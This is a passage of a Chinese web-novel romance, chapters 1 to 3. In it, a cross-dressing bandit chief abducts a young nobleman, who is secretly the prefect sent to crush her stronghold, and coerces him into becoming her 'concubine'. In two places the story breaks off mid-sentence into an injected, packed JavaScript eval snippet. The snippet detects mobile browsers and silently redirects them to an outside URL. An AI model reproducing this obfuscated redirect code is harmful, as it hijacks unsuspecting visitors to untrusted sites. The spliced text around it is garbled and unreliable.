《抢来的夫君真甜》 1. 第 1 章 渝州地毗西南,与洛京遥隔千里,山脉纵横,谷深林密,多有山贼盗匪隐匿其中,横行霸道。 眼见匪患延绵,日益猖獗,渝州地方官员也无能为力。当地的百姓日夜紧闭大门,不敢随意行止外出;他乡之人更是宁可远远绕道,也尽量不行经渝州地界。 尤其是莽山一带,悍匪沈青,“坐地一只虎”的名头最响亮。 若是夜里谁家孩子哭闹不止,做爹娘的小声提醒一句“沈青下山抓你来了”,那孩子必定立刻收了金豆子,一丝哭腔都不敢再发出。 才刚刚入冬,这日天还未大亮,莽山的小金顶上就迎来濛濛絮絮的初雪。 沈青浑然不觉自己的名头竟有夜里能治小儿啼哭的妙用,正在小金顶的草亭里砸吧着嘴睡得四仰八叉。 万籁俱静,飞鸟绝迹,只有满山松竹间的簌簌雪声。 清晨凛冽的风夹杂着雪中寒气,掠过草堂,沈青在美梦中被冻得直挺挺坐了起来,身上冷不丁哆嗦几下,才抬手揉揉眼,看到了桌上的红泥小火炉,还残余点点火星子,半坛子酒打翻在侧,淌了一桌,一片狼藉。 她敲了敲脑袋,恍然想起昨晚是在跟兄弟们一起喝酒,喝着喝着……这些人都死哪去了? “这群大老粗,也不怕冻死老子!” 她骂咧着用两指捏起盖在身上不知是谁的外袍,扔在一边,正要起身,空气中残留的酒香入鼻,她顿时就忍不住,忙俯身趴在栏杆上“哇”地一声,好一阵干呕起来。 几乎要把肚子里的东西翻江倒海吐了个干净,人才舒服了些,整个人软绵绵地靠在栏杆上缓着气儿,吹着山顶的劲劲寒风缓解宿醉的痛苦。 “不行不行,以后再也不沾酒了!” 如往常酒醒后一般,她又将这话在嘴边虔诚地过了一遍。 不小心多喝了几杯,是因为渝州官府气势浩然地向莽山发了一篇讨贼檄文,历数了莽山众匪累累恶行,简直人神共愤;若是三日内她再不带领众匪下山投诚,官府必定替天行道,踏平莽山。 这让她很烦。 已经很久没有人敢这样公然挑衅她了,尤其是渝州官府的那群废物。 三年前,父亲沈峰猝然离世的时候,她才十五岁,便接管了父亲一手创立的烽火寨。当时的渝州刺史欺她年少,借机趁虚而入,亲率两万官兵上山剿匪。 她带着寨中不过数千兄弟迎战,在莽山侧峰厮杀一昼夜,几乎是一场血洗莽山之战。正好也是这样一个初冬,那些侵染在岩石草木上的鲜血,一夜之后都凝结成冰,不过那些血……差不多都是官兵们的血。 那两万官兵,服了的就留下来当兄弟,不服的就杀个干净,从此渝州再也没有哪个不长眼的官员敢来招惹烽火寨了。 接着,她又陆续吞并了莽山其他几个山头的土匪窝,最终,整个莽山数十山头,彻底成为她的地盘。 这样一山不容二虎的气势,她这个“坐地一只虎”的名号,确实比当年的父亲要凶悍响亮了不少。 为此,她还专门给渝州刺史府送了个大牌匾,感谢刺史大人不遗余力助她立威扬名来着。 几个月前,那位她最喜欢的老刺史被调离,渝州新上任了一位年轻刺史,叫谢珩。 此人自洛京而来,听闻其人风华绝代,有洛京第一公子的美称,出身于赫赫谢氏,谢家嫡系正传的第一人,大概会是未来的谢家家主。 名头倒是不少,总而言之,不就是一个花架子吗? 听说他是带了圣意前来剿匪的,沈青也没当一回事。一个贵公子,屈尊远赴来渝州这么一个偏远之地剿匪,无非是走走过场,方便回京封侯拜相的时候显得更名正言顺。 这里面的弯弯绕绕,她可门儿清。 沈青就等着这花架子带兵上山,她好再杀个片甲不留,让莽山威名更上一层楼。 结果等来等去,也没等来一兵一卒,她这才发觉,好家伙,谢珩到了渝州后,没有对渝州任何一个山头匪寨出过一兵一卒,反而励精为治,斩杀贪官污吏,整顿官场风气,平反冤假错案,为久被官府欺压的百姓撑腰,短短几个月,渝州隐隐有了焕然一新的面貌。 这真是让沈青追悔莫及,早知道就该在他刚来渝州的时候就偷偷将人宰了。这下好了,渝州匪患的根本原因,被他给找着了! 几个月兢兢业业的治理后,谢珩才终于想起了渝州的匪患。 于是传说中惊才绝艳的公子,挥手写就那么一篇气势浩然的讨贼檄文。 只有三日期限,谢珩看准了她不会投诚,渝州城内已经调兵遣将,这次谢珩算是深得民心,上下拥护。 光是这一点,沈青便占了下风。 山头的雪下得愈发细密,青松翠竹渐渐覆上一层浅白,从小金顶的草亭往外望去,延绵群山尽收眼底,清冷苍茫。 沈青坐直了身子,凛风阵阵中,她身上青衣单薄,好似莽山间一颗劲瘦匀亭的竹。风吹起鬓边碎发的时候,隐约可见清绝桀骜的侧颜与雪色青松相衬。 某种程度上来说,谢珩也算知己,她确实不会下山投诚。 只要他敢来,她就有本事亲手宰了他。 “老大!老大!” 远远的,两道身影往草堂这边奔来。 沈青看着前头那个跑得热气呼呼,大冬天的露着一身腱子肉晃得人眼疼,一下就能分辨出是手下兄弟赖三。 等人跑进来,她跳起来就往赖三胸口响亮地拍了一巴掌:“跟我喝酒都喝一半跑了是几个意思?想冻死我然后你当老大?” 赖三吃痛地捂着胸口:“不不不……不是!老大,你要的男人,昨晚兄弟们一宿没睡,还真捉了个极品来!” 沈青摩挲着把自己给打疼了的手,一脸莫名:“什么男人啊?” “大哥,你不能每次喝了酒就断片,我得给你回忆回忆,绝不能让你忘记兄弟们的苦劳!” 后面快步跟上来的少年十五六岁年纪,倒很俊爽文秀的模样,因着是沈青的义弟萧瑞,说起话来没什么遮拦。 沈青的脸色微微僵了一下。 “回忆什么?” 什么情况?他们总不可能是识破她是女儿身了吧? 萧瑞白眼一翻,指了指桌上倾倒的酒坛:“昨晚你砸完这酒坛就开始嚎,说这辈子一定要找个男人,试试男人的滋味,还要全天下最俊的,说完就大吼着让我们滚,不给你抓一个这样的男人,以后就都别回来了。你这一声令下,我们一群兄弟大半夜被你赶下山给你找了一宿的男人。” 他拉长着语调说得绘声绘色,最后还凑近了几分仔细端详沈青神色:“大哥,这么多年兄弟们还真没发现你有这癖好,早知道以前打劫过的那些英俊公子,都给你打晕了抗上山来。” 沈青默默抬手扶额。 喝酒误事啊。 一定是因为她爹在临终前拉着她的手叮嘱,沈家香火万万不能断,她才会将想找男人这档子事深深埋进心里。 丢人! 还好还好,只是当她有断袖这个癖好,问题不大。 她无力摆摆手,难得地心虚:“都是酒后糊言,人哪儿捉的,你们就哪里放回去吧。我可是有家室的人,这事别声张,让你们嫂子知道得生气了。兄弟们辛苦,改日好好干票大的犒劳你们!” 听她这么说,赖三立刻急了:“别啊,老大,我们这次捉来的人,跟以往我们见的人都不一样,就是……我说不清,反正保证你看了肯定会喜欢的!” “就是就是,”萧瑞大咧咧搭上沈青肩膀:“大哥,虽说这断袖吧……这也不是什么稀奇事,嫂子那边……你到时候哄哄嘛。再说了,你可是整个莽山的老大,多要一个男人怎么了?” 沈青很为难地在赖三和萧瑞之间来回看了看,诚恳道:“主要是你们在山上待久了,没见过好的,我还真不太不相信你们的眼光。这样吧,萧瑞,你说是你俊一些,还是你们抢来的那个男人俊一些?” “当然是……”萧瑞顿了一下,略有些不服气:“我跟他,各有各的俊。” 沈青不由得挑眉,这小子一天到晚觉得自己俊到不行,难得他还有松口不诋毁人家的时候。 萧瑞是她亲眼看着长大的弟弟,眼见他一日一日长成俊逸疏朗模样,别说莽山,整个渝州,那也是找不出比他更好看的土匪了。 要是能跟他平分秋色的话……那这人还是值得去看一眼的。 “走,我去看看你们抓了个什么人物回来。” 沈青蹬了鞋子穿上,大步走了出去,颀长青影在濛濛飞雪中渐行渐远。 赖三看得有几分愣神,下意识说了句:“咱们老大其实也俊得很。” “你看大哥走得多快。赖三,你可记住了,大哥的酒后糊言,都是真言。”萧瑞嘴上不忘提点赖三,脚下已经抬脚跟了出去。 烽火寨正堂的院子里,这会儿七七八八聚在这里的兄弟们明显比往日要多,人群中有人喊了一声“老大来了”,大家纷纷退开给沈青让出一条道来。 沈青抬眼便看见,平日她窝在廊下小憩的那张藤椅上多了个人,身上盖了件灰白鹤羽氅衣,看起来很是质地不凡,只是盖得严实,把身子和脸全都挡了。 哼,这些大老粗,这会儿倒是很细心。 她侧过脸问道:“怎么是晕的?” 赖三干笑了两声:“这不是打晕了才好扛上来嘛。” 好像也是。 沈青没再多问,几步走上前,捏住氅衣一角,没什么犹豫地揭开来看,在周遭兄弟们的惊呼中,她的呼吸也不由得滞了一下。 玉山倾倒,容光映人。 氅衣的一角还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828840|158863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捏在手中,她自己都没发觉,捏着氅衣的指尖收紧了许多。 难怪萧瑞这样在自己容颜上如此自负的一个人,都松口承认两人只是各有千秋,说是各有千秋,那也是他在抬举自己了。 她脑海中还在思绪纷纷,氅衣下的睡颜微蹙着眉头,缓缓睁开了双眼。 那是一双极美的眸子,像是满天星月映在湖面的夏夜清梦,是冬雪覆上了莽山的苍松翠竹。 纯粹,渺远,幽静。 他抬眸一瞬,沈青在那双清凌如泉的眸子里,看到自己的倒影变得格外清晰。 不知是山头的风太大,还是昨晚的酒未醒,她竟然觉得两颊有些发红,然后听见自己的声音:“你,你叫什么名字?” “你是何人?”眼前的人撑着身子坐起来,氅衣滑落,露出纤白如雪的广袖长衫,更衬得他清越如谪仙。 不用等沈青开口,赖三气势焰焰上前道:“这是烽火寨,我们老大!” 那人目光在沈青身上凝滞一瞬:“你是沈青?” 实在是很难将恶贯满盈的悍匪首领,与眼前这个青衣玉立的俊秀少年联系在一起。 沈青从短暂的失神中回过神来,勾唇笑道:“哟,不仅好看,还有点见识嘛。” 赖三适时放话:“来了烽火寨,你现在就是我们老大的人了。长成这样一张脸,就好好伺候我们老大,把老大伺候舒服了,兄弟们也不会亏待你,要是敢动什么歪心思,把你剁碎了喂狗!” 如今的大梁朝,断袖习气并不少见,甚至已经蔚然成风。 当今孝武帝,后宫之中,不仅有佳丽三千,还有数不胜数的娈童和美少年,于是上行下效,尤其洛京城里,不少世家少年也纷纷成双结对,时常有美少年眷侣携手出游,那可是人人竞相争看的盛景。 当然,世家中也有些自诩清流之人,不屑与之为伍。 显然,眼前这白衣公子就是属于后者。 听完赖三的话,那双原本沉静的眸子里立刻染上一层鄙夷和愤怒,倒是给他那张俊美清贵的脸添了几分人间气。 “无耻!”他咬着牙,从唇间挤出两个字。 “你敢骂我们老大?” 赖三抡起拳头就要揍人,被沈青抬手拦下:“诶诶诶,别给我粗俗,要怜香惜玉。” 说着,她一手钳制住白衣公子要反抗的双手,一手捏起他的下巴,迫使他看着自己,她也勾着唇端视他:“美人儿果然还是要有点脾气才生动,你还没告诉我,你叫什么名字呢?” 沈青自认为她今日这语气,是有记忆来,对男人最温柔的了。然后她就看着眼前这张白皙如玉的俊脸,竟然气得一点一点透上微红:“无可奉告。” 可惜他挣脱不了她的钳制,这满眼满身的嫌弃……真是更有趣了。 “先把他关好,等晚上了,小爷我再上榻把他治得服服帖帖。” 沈青坏笑着松了手,那人立刻嫌恶地抬手拂了拂被她触碰过的地方:“我劝你们不要动我。” 明明很斯文涵养的语气,这警告的意味竟然隐隐有些震慑力。 赖三和几个兄弟恍惚瞬间,沈青猛地起身罩上藤椅,将人半压在身下,手掌在他脸上摸来摸去:“就碰你了,我就一直碰你,你还能怎么样?不老实的话我现在就把你办了!” 竟敢来威胁这套,就是天上的仙子也不惯着! 饶是再清风明月不染凡尘的一个人,这会儿满眼羞愤绝望,别有一种破碎的美感,连旁边兄弟们都开始捂眼不忍多看。 刚才谁说要怜香惜玉来着?这才是真正的辣手摧花,暴殄天物吧! “大哥!”萧瑞忽然凑进来,拉住沈青的袖子,短暂地拯救了一下美人儿:“大哥,此人是谢家子弟。” 沈青立刻停了动作:“谢家?” 谢珩在渝州做刺史,他身边自然会带一批谢氏子弟,这也合理。 “他跟谢珩是什么关系?” “此人名叫谢瑜,出自谢氏旁支,按辈分算,跟谢珩是同辈未出五服的族弟,排行十三。大哥,有官兵在山下寻人,这人我们怎么处理?” “竟然是谢氏子弟啊,”沈青蹲下来与他平视,对方厌恶地别过头去,她捏着他的下巴一把又将人掰回来,温柔款款像真的在哄情人一般:“那我可不能让你无名无分跟了我,可惜我家中已有妻室,你姑且先做个二夫人吧。放心,纳妾之礼我会风光大办,绝不会落了谢家的排面。” “做梦!你们现在放我下山,还来得及。”这位谢家公子虽动弹不得,目光却冷冷盯着她,声音都淬上一层寒冰。 沈青又凑得近了些,满眼好奇:“听起来很吓人,那不如跟我说说,以你对谢珩的了解,他要是看到自己族弟成了我的小妾,会怎么做呢?” “他必定会亲手杀了你。” 2. 第 2 章 莽山的初雪簌簌下了一夜未停,从小金顶往下看,群山白头,苍茫又萧瑟。 不过也阻挡不了一批批客人陆续上山,来的都是渝州其他山头匪道上的人。今日是沈青的纳妾酒,并不是民间锣鼓齐鸣那样的繁琐礼仪,不过就是大家聚在一起喝顿酒,碰个面。 桌子不够,就堂前屋后捧着酒碗到处席地而坐;酒劲上头,就将几张桌子拼到一起,拼酒拼到面红耳赤。 能来者皆是兄弟,雪中酣饮,虽无丝竹管弦,倒也有种震天响的热闹。 更令人瞠目的是,席间零零散散的,竟还有好些荆钗布裙的女子,也跟着在酒桌上吆五喝六。传闻莽山上有不少女匪,男男女女,混作一堂,实在是太粗鄙污秽! 谢珩被置在堂中坐着,宽袖下的一双手攥紧了拳,极力忍耐这一切。 若不是他一时疏忽,中了手下的算计,被引到莽山险被伏杀,何至于被这群人掳上山来,遭此大辱。 好在平日里,他多用族弟谢瑜的名字行事,暂时掩盖过去,没让这群匪徒识破自己真实身份。 他不由得在心底暗自苦笑一声,讨贼檄文已经昭示天下,他手中的兵马正蓄势待发,只能一声令下,官兵就可攻下莽山,登上这小金顶。 现在他的确身临小金顶了,没想到是以一种这样屈辱的方式而来。 他粗粗在心里过了一遍,今日小金顶上,几乎整个渝州所有山头匪寨都派了人来。 这个沈青,借着纳妾的名头,在这试探着渝州其他山头匪寨的态度。 这也让谢珩看清了局势的另一面,在他的计划中,来渝州剿匪,拿莽山第一个开刀,是用来杀鸡儆猴的,只要攻破了渝州众多匪寨中最强的莽山势力,其他乌合之众便不足为患。 没想到这些土匪倒是很懂唇亡齿寒的道理,平时那些与莽山素来多有纷争的山寨,居然在他公然向莽山发完讨贼檄文后,在山下还有官兵在四处搜查的情况下,还纷纷应沈青之邀前来莽山赴宴。 官府和莽山之间,他们竟然都选择了莽山。 单单对付莽山,谢珩自觉胜券在握,可若是全渝州所有山头的山匪都来支援莽山,那就恐怕要重新掂量一番了。 想到这,他心底忽然泛起一丝后怕,要是没有被意外抓上来,明日此时他应该正在带着人马攻山。 “谢十三!” 沈青敞敞亮亮喊了一嗓跨步进来,虽然已经知道他的名字,但她还是喜欢喊他“谢十三”,就像喊“赖三”一样,要比喊“萧瑞”顺口许多。 她身边跟了个梳着妇人高髻的妙龄女子,肤白胜雪,模样如画,身上的广袖流云绯色襦裙,流苏裙摆随着她细细款款的脚步微漾,通身气质在这山寨中显得格格不入,与沈青并肩,却有种让人看得赏心悦目的登对。 “老大!” “夫人!” 见沈青进来,闹哄哄的厅堂立刻安静了许多,兄弟们都围过来跟两人打招呼。 夫人进来一眼便望到谢珩,登时讶然,沈青回头牵她的手,她才回过神来,也抬手挽上沈青的臂弯。 沈青牵着夫人,跨步登了几级木阶,两人在披着白纹虎皮的宽阔主位上并肩坐下后,她才朝谢珩扬了扬下巴:“这是我的正室夫人岳氏,你过来敬茶,喊一声夫人,便算是礼成了。” 谢珩坐在那儿不动如山,澄澄目光望向她:“一寨之主,何必如此强人所难?” “你……”沈青真心发问:“土匪不强人所难还叫土匪吗?” 满厅看热闹的兄弟们也大笑起来,人群中还有人吹起口哨,响亮的哨声像是一巴掌打在谢珩的脸上,他那张白皙如玉的面容泛起一层薄薄微霞。 已经在外厅喝了大半天的沈青,这会儿开始飘飘然,没那么好耐心:“快点,别磨磨唧唧,能做我沈青的小妾,也不知你们祖上烧了多少高香。我最烦你们世家子弟这清高的破毛病了,你要是不从,我现在就把你赏给山上兄弟们,一天就能把你玩死!” “老大老大,你要是不想要,就犒劳犒劳兄弟们!” “诶呦,我可比沈寨主怜香惜玉多了,小公子跟我吧!” “好久没开荤了!这人间绝色啊!要是到我手上,每天得多欲生欲死啊!” “我说沈寨主还是太啰嗦了,直接往榻上一扔,衣服一脱,干他个服服帖帖!” 谢珩半垂着眼睑,极力忍受着满耳污言秽语,从沈青这边看过去,还能看到他长睫微颤,也不知是愤怒还是委屈。 对沈青来说,主要今日这酒有点后劲,好像没喝多少来着,酒劲儿开始往脑门上冲,她懒懒撑着身子,嘴角噙着一丝玩味笑意,眸底却隐隐透出一层寒意。 听说这人昨晚开始不吃不喝,真是不知道自己几斤几两,上一个跟她玩绝食把戏的人,已经被她砍手砍脚扔进山谷里喂野兽了。 正要发怒,突然她袖子被人扯了扯,回头就看见岳瑛一双杏眼带水,冲她微微摇头示意,沈青只好收敛了杀意,重新将声音放柔和了些:“趁我现在还有耐心,你选我,还是他们?” 空气里静默了一会,顶着身边一圈虎视眈眈的眼神,谢珩终于还是站起身来,捧过茶盏,抬手递到岳瑛面前。 整个过程如行云流水般雅致,即便他人站在主座下首,亦是清风朗月,绝无半分折腰之势。 岳瑛伸手接过茶盏,低头象征性轻轻抿了一口,含笑道:“茶很香。” 沈青这才满意,扬起手中酒碗敬在座兄弟:“行,既然敬过夫人的茶了,以后谢家十三郎,谢瑜,就是我莽山的二夫人了。” “谢家”二字,她特地咬字重了几分,堂中霎时又一片哄闹,欢呼喊叫,大说荤话,还夹杂着一些对谢家和谢珩的谩骂。 其实本来她也不想刁难这么一个美人公子,可偏偏谁让他是谢珩的族弟呢?谢珩那一纸檄文,可把她骂得狗血淋头。 不是要踏平莽山吗?那正好,捉了一个谢家子弟,可不得好好来恶心一下谢珩! 与兄弟们又几番推杯换盏下来,沈青已经开始酒酣耳热,岳瑛适时提醒她:“阿青,谢公子在这里也不自在,不如让他先回房休息吧。” 她的声音温柔款款,似在解围,谢珩不由得抬眸看了一眼,只觉这压寨夫人眉眼娟秀,竟还透着几分书卷气,实在不像与山匪为伍之人。 还不及多揣测,沈青带着醉意的声音粗咧咧传来:“好好好,马上送他回洞房,我来试试什么叫春宵一刻值千金!” 一片哄笑声中,谢珩脸色尤为煞白:“沈青,你别得寸进尺……” 话音未落,沈青不耐烦地横手一劈,谢珩便身子一僵,软绵绵靠倒下去,被沈青伸手揽了个满怀。 看得岳瑛在一边倒吸一口凉气:“你这也太不怜香惜玉了……” 刚刚又几杯下肚,沈青晕头晕脑还不忘对着岳瑛咧嘴一笑:“我还是喜欢听话些的好看公子!” 一旁的萧瑞一看自家大哥这模样,意味着接下来又是一场淋漓尽致的酒疯,连忙朝赖三递了个眼色,赖三会意,跟萧瑞一起招呼上几个兄弟,一面架起谢珩,一面扶着沈青,连催带哄:“老大,快,咱们洞房去!” 洞房? 沈青听到这两字,朦胧醉眼倏尔一亮:“兄弟们都来给我闹洞房!” “好好好,我们都去!诸位失陪一下,酒菜自便!”萧瑞匆匆撂完话,一把拽着她疾步离开正厅。 虽然沈青酒品不好这事在渝州早就无人不知,但并不意味着莽山其他兄弟们每次都心甘情愿跟着丢脸。 一行人略有些手忙脚乱送着沈青回房,又将谢珩板板正正放到床上,沈青忽然又嫌人多太吵,将兄弟们都赶了出去。 赖三默默看着此时紧闭上的房门,脑海中浮现出各种惨绝人寰的画面, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828841|158863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连他一个土匪都生出了几分怜悯:“希望这人老实点,少受点罪。” 萧瑞才不以为意:“你忘了当初嫂子被抢回来进洞房的时候,不比这还凄烈?看人家现在对咱大哥多服帖!” “嗯!这倒是。” 岳瑛这几年来的温柔贤惠是有目共睹的,管他什么烈女贞夫,都会被老大治得服服帖帖的! 等外面人声散去,房间里清清静静的,沈青左摇右晃走上前,手肘撑在榻边,托腮细赏榻上美人睡颜。 世上怎么会有这样风华绝代的公子呢? 她迷离着眼,用指尖一点一点摩挲着他绝色的眉眼,笔挺的鼻梁,微凉的薄唇,果真是老天爷在一块绝世美玉上精雕细工的之作。 还有一头长发如瀑,铺洒枕间,正与这绝色容颜相衬,多看一眼都心惊。 人好看,睡着了也好看。 只是寂寂灯光掩映下的绝美睡颜,原本清冷的眉眼间,隐隐透着一丝不安的委屈和执拗,看得沈青也莫名委屈起来。 这男人怎么睡女人,她倒是略知一二,但是没人告诉过她,女人要怎么睡男人啊! 先脱衣服总是没错的吧? 这么想着,她上手就开始替人脱衣解裳,衣襟之下,亦是肤白如雪,直到见他颈下锁骨凸现,沈青不由得咽了咽口水,酒喝多了,真渴。 然后呢?亲上去吗? 身体血脉里酒意翻腾,眼前的冰肌玉骨正好用来消解,沈青低下头,像是大漠里久渴的旅人见到一片清泉,本能地往上凑。 还有淡淡梨花的甜香,定然好吃。 “你……干什么?” 头顶一道喑哑的声音打断了她,她迷茫抬眼,对上一双同样迷茫的眸子。 四目相对间,还是对方反应更加迅速,那双眸子由迷茫到震惊,最后,满是愤怒和屈辱,然后沈青被一道大力一推,酒后脱力的她一下就被掀翻在地。 “滚!你出去!” 谢珩坐直了身子,半敞的衣襟下可见他呼吸起伏不平,颈上青筋凸显得有些骇人。 “嘶——” 沈青摇摇晃晃撑起身子,头晕眼花盯着榻上的人看,盯了老半天,榻上的两三个重影终于重叠成一道清俊笔挺的身姿。 就是你推我是吧? 她“嗷”地一声像只小老虎扑罩上榻,将谢珩压制住,谢珩也绝不妥协,抵着她的手臂殊死反抗,两人凌凌乱乱扭打成一团。 “你竟然敢推老子!听说你还不吃不喝?我可不会让你这么便宜死了,我今天就要办了你!还要你给老子生孩子!” “畜生!你放开我!我一定会亲手宰了你的!” 两人都激烈撕扯着,谢珩真是纳罕了,明明眼前这人一副醉态迷离瘫软无力模样,怎么偏偏还记得牢牢扣住他腕上命门? 被扣住命门的他有力也使不上来,脸色渐渐变得惨淡,身上雪白长衫被“撕拉”一下粗暴扯开,他彻底卸了力,绝望地合紧双目,将舌尖抵上齿间,君子宁死,也绝不受此折辱! 可惜这一世……罢了,他心底苦笑一声,萦绕在鼻尖的酒味恶心得迫使他齿间蓄力,绝然地给自己一场了结。 也只是一瞬,大概是见他卸了力,那道钳制住他的力量也松了下来,沈青软绵绵趴下来,枕在他胸口,不动了。 房间里静谧得让人悚然,一下一下的均匀呼吸打在颈间,丝丝痒痒的。 谢珩重新睁眼,忡怔地望着屋顶横梁,好一会儿,才用力将压在自己身上的人推开,发现这人力气虽大,身体倒是比想象中轻了许多,咕咚一下被推到一边,也没有醒来,翻身卷了被子抱住,砸吧着唇齿间烈酒余香,继续呼呼大睡。 谢珩腾出手来,指尖不知何时缠绕了一缕细如发丝的银线,那双清凌眉眼间寒意如霜,盯着酣睡正浓的沈青。 往她颈上一缠,连全尸都不必留。 3. 第 3 章 风急雪骤,一夜未停。 不断有积雪压折竹节的声音在耳畔响起,清脆铮然,扰得沈青眉头直蹙,又是熟悉的宿醉难受,睡不下去了! 她扭了扭睡得酸疼的脖颈,愤愤睁眼,入目所见,是玉树仙姿的白衣公子,抱臂胸前,正背倚着床栏阖目小憩,反观自己,手脚并用像一只八爪鱼一样缠在人家身上,啊……有点罪过。 沈青迷瞪着揉揉眼,才慢慢想起昨晚是洞房花烛夜来着,连忙猛一下坐起来,敲敲脑袋努力回味着温香软玉在怀的滋味。 诶,要是当皇帝的话,还早什么朝! 听到动静,原本就只是浅寐的谢珩也立刻睁眼,没了沈青的手脚缠绕,他本能戒备地又稍稍往后挪了挪。 这小动作惹得沈青莞尔一笑,忍不住倾身追着凑了上去:“美人儿,你真好看,以后就乖乖跟着我吧。” 谢珩哑然,看来这人是全然忘记自己昨晚的行径了。 沈青眯眼笑着,伸手想去勾谢珩的下巴,醒来一睁眼就能见这样的绝世容颜,心情真的很难不好。 “别碰我。” 换来的自然是谢珩的冷脸撇开,她也不恼,只是手上动作更强硬几分,非要捏着他的下巴逼视自己。 “嘶——” 对上谢珩那双迸发怒意的眼睛,沈青突然像是承受了某种巨大的疼痛,软软地松开了手。 “我有点事先走了,你好好在这待着,别想着逃,也别想死!”她把话一撂,人已经跳下床榻冲了出去。。 房门猛一下被关上,震得撑开窗页的竹竿都掉落下来,木窗也随之“砰”地一声合了下来,房中重归寂静。 谢珩虚倚着床栏,确定人真的走远后,终于微微松了口气。先前中了算计吸了些迷药,昨晚跟沈青这一折腾,他现在想要支起身子都需缓一阵儿,真是没多余力气再应付了。 * 屋外大雪霏霏,沈青煞白着一张脸,颀长青影在漫天飞雪里竟然显得有些张皇。 “大哥!” 一道声音循着冷风嘹嘹传来,她一眼瞥见萧瑞和赖三带着几个兄弟们从山下的方向过来,远远跟她挥手像要说什么,但她也顾不了那么多,捂着小腹头也不回继续在雪地里“咔咔”踩下一溜串脚印。 赖三张大嘴巴:“老大不是在跟那什么谢十三洞房吗?怎么一大早看着是往往夫人房里跑?看来那谢十三不会伺候人,我去教训教训他!” 萧瑞抬手拦了他:“应该是大哥的病又发作了。” 不知什么时候起,他们老大突然得了一种怪病,似乎每过一段时间就会发作一次,发病的时候整个人尤为虚弱苍白,神奇的是,他也不让大夫来诊治,就在岳瑛的房中窝上几天,便又生龙活虎起来。 因此莽山上下的兄弟们再也不敢轻慢了这位抢来的便宜夫人。 这边沈青已经抱上汤婆子,躺在榻上痛得哼哼唧唧。 她自小就是被父亲当男儿教养,从未觉得自己与男人有什么分别,直到两年前第一次来葵水,才终于感受到什么女子的天然脆弱。 偏偏每次还疼得死去活来,这种钝刀子割肉的疼居然要疼上好几天,真还不如一刀给人来个痛快。 该死的老天爷,这样的大罪,怎么能让女儿家来受呢? 还好当年果断抢了个压寨夫人回来,这样掩人耳目方便极了。 岳瑛端了药碗送到她嘴边:“还好我给你算着日子,这药一早就给你温上了。” 沈青有气无力地低下头,像小猫喝水一样就着药碗一点一点热烫的药汁喝得见底,三魂七魄才仿佛终于回到自己身体。 “诶,世上怎么会有这样好看的人呐!”她搁下药碗,换了个舒服的姿势重新躺下,长长吁了口气。 岳瑛无语:“这话你都说第八百遍了……” “本来就是嘛,”沈青望着床顶素帐上的流苏,忽然想到什么:“岳瑛,你以前不是生活在洛京吗?洛京城的公子哥,都出落得这般好看?” 岳瑛认真摇了摇头:“洛京的公子少爷虽然大多矜贵文雅,可是谢十三这样的气派,我似乎从未见过。” 沈青继续好奇:“那你见过谢珩吗?他跟谢珩比起来怎么样?” 一个名不见经传的谢家子弟,都有如此风姿,那号称洛京第一公子的谢珩,该是怎样冠绝京华呢? “曾经有幸与珩公子同赴一场曲水流觞雅宴,可惜有重重阻隔,看不见人。但是珩公子的琴声当真是仙乐明耳,绕梁不绝。”提起谢珩,岳瑛语气中的艳羡与怅然,仿佛将人带回了繁华如梦的洛京。 沈青心下琢磨着,不由得眼前一亮:“这么说,这个谢十三,算是我捡到宝了?” 转而她又小声嘟囔道:“只是在谢家子弟里,从前都没听过谢十三的名号。” 不过也不奇怪,谢十三这人,萧瑞早就来来回回给他查了个底朝天,他跟在谢珩身边有些年头了,资质能力只是中规中矩罢了。 她也亲自上手试过,这人就是一个手无缚鸡之力的书生。 空有美貌而无实力,所以谢家不看重此人,但对她来说,可真是孩子父亲的绝佳选择! “咳咳,”岳瑛轻咳了两声,试探着问道:“你现在准备把人怎么办呢?对于珩公子而言,你纳谢家子弟为妾已经算是狠狠羞辱了他一场,只是谢十三还挺无辜的,要不找个机会放了他?” 她知道沈青不是真正欺男霸女之人,只是有时候行事鲁莽任性了些,这两年她时时从旁提醒,沈青也很是听劝,收敛了不少。 这次沈青却坚决摇了摇头:“我知道你最心地善良,但这个谢十三,我要留着生孩子的!” “……生孩子!?” “我爹说了,沈家香火不能断,我怀疑他最近在阴曹地府混了个一官半职的,然后动用关系,给我送了个谢十三来,让我生孩子呢。你看谢十三长得这么好看,将来孩子肯定也好看,谢家百年世家,家风教养对孩子也有益。你说是不是?” 沈青说得兴致勃勃,岳瑛脸色古怪起来:“那你们昨晚……” 昨晚?沈青揉了揉脑袋,一脸认真无辜:“我还真忘记了。” 这…… 岳瑛略打量了她一眼,这么大早上衣裳整齐跑了出来,最多应该只是把人打了顿吧? 把人打了一顿……!? 岳瑛眉心跳了跳,心知这人她是留定了,到底还是有些不忍:“那你以后还是对人家好一些。” 说起这个,沈青就来气:“这种自诩清高的世家公子,我有的是法子来治他!再硬的骨头也得给我软下来!” 岳瑛只好一副语重心长模样:“阿青,你想不想以后的孩子也长得好看?” 沈青莫名其妙:“那当然,不然我干嘛选他?” “所以你应该怜香惜玉,好好待人家,得让他心甘情愿才行。在洛京有说法,只有两人在情投意合的时候,生出的孩子才会更好看。” “还有这 